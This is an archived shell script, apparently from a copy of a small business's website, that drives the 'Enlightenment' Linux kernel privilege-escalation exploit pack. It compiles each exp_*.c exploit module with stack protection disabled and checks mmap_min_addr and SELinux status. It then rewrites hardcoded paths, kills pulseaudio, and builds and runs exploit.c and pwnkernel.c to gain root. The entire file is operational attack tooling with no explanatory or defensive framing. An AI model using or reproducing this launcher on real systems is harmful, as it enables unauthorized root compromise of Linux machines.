home *** CD-ROM | disk | FTP | other *** search
/ comtecelectrical.ca / www.comtecelectrical.ca.tar / www.comtecelectrical.ca / enlightenment / run_null_exploits.sh < prev   
Linux/UNIX/POSIX Shell Script  |  2009-09-20  |  2KB  |  67 lines

  1. #!/bin/sh
  2. IS_64=`uname -m`
  3. OPT_FLAG="-ldl -fomit-frame-pointer"
  4. if [ "$IS_64" = "x86_64" ]; then
  5.   OPT_FLAG="-m64 -ldl -fomit-frame-pointer"
  6. fi 
  7. if [ "$1" != "" ]; then
  8.   OPT_FLAG="$OPT_FLAG -DNON_NULL_ONLY"
  9. elif [ -d /usr/include/selinux ]; then
  10.   OPT_FLAG="$OPT_FLAG -DHAVE_SELINUX -lselinux"
  11. fi
  12.  
  13. for FILE in exp_*.c; do
  14.     printf "Compiling $FILE..."
  15.     cc -fno-stack-protector -fPIC $OPT_FLAG -shared -o `printf $FILE | cut -d"." -f1`.so $FILE 2> /dev/null
  16.     if [ "$?" = "1" ]; then
  17.        cc -fPIC $OPT_FLAG -shared -o `printf $FILE | cut -d"." -f1`.so $FILE 2> /dev/null
  18.        if [ "$?" = "1" ]; then
  19.      printf "failed.\n"
  20.        else
  21.          printf "OK.\n"
  22.        fi
  23.     else
  24.       printf "OK.\n"
  25.     fi
  26. done
  27.  
  28. ESCAPED_PWD=`pwd | sed 's/\//\\\\\//g'`
  29. MINADDR=`cat /proc/sys/vm/mmap_min_addr 2> /dev/null`
  30. if [ "$1" != "" -o "$MINADDR" = "" -o "$MINADDR" = "0" ]; then
  31.     sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c
  32.     mv exploit.c exploit2.c
  33.     mv exploit1.c exploit.c
  34.     cc -fno-stack-protector $OPT_FLAG -o exploit exploit.c 2> /dev/null
  35.     if [ "$?" = "1" ]; then
  36.         cc $OPT_FLAG -o exploit exploit.c 2> /dev/null
  37.     fi
  38.     mv -f exploit2.c exploit.c
  39.     ./exploit
  40. elif [ ! -f '/selinux/enforce' ]; then
  41.     killall -9 pulseaudio 2> /dev/null 
  42.     sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c
  43.     mv exploit.c exploit2.c
  44.     mv exploit1.c exploit.c
  45.     cc -fno-stack-protector -fPIC $OPT_FLAG -shared -o exploit.so exploit.c 2> /dev/null
  46.     if [ "$?" = "1" ]; then
  47.        cc -fPIC $OPT_FLAG -shared -o exploit.so exploit.c 2> /dev/null
  48.     fi
  49.     mv -f exploit2.c exploit.c
  50.     sed "s/\/home\/spender/$ESCAPED_PWD/g" pwnkernel.c > pwnkernel1.c
  51.     mv pwnkernel.c pwnkernel2.c
  52.     mv pwnkernel1.c pwnkernel.c
  53.     cc $OPT_FLAG -o pwnkernel pwnkernel.c
  54.     mv -f pwnkernel2.c pwnkernel.c
  55.     ./pwnkernel
  56. else
  57.     sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c
  58.     mv exploit.c exploit2.c
  59.     mv exploit1.c exploit.c
  60.     cc -fno-stack-protector $OPT_FLAG -o exploit exploit.c 2> /dev/null
  61.     if [ "$?" = "1" ]; then
  62.        cc $OPT_FLAG -o exploit exploit.c 2> /dev/null
  63.     fi
  64.     mv -f exploit2.c exploit.c
  65.     ./exploit
  66. fi
  67.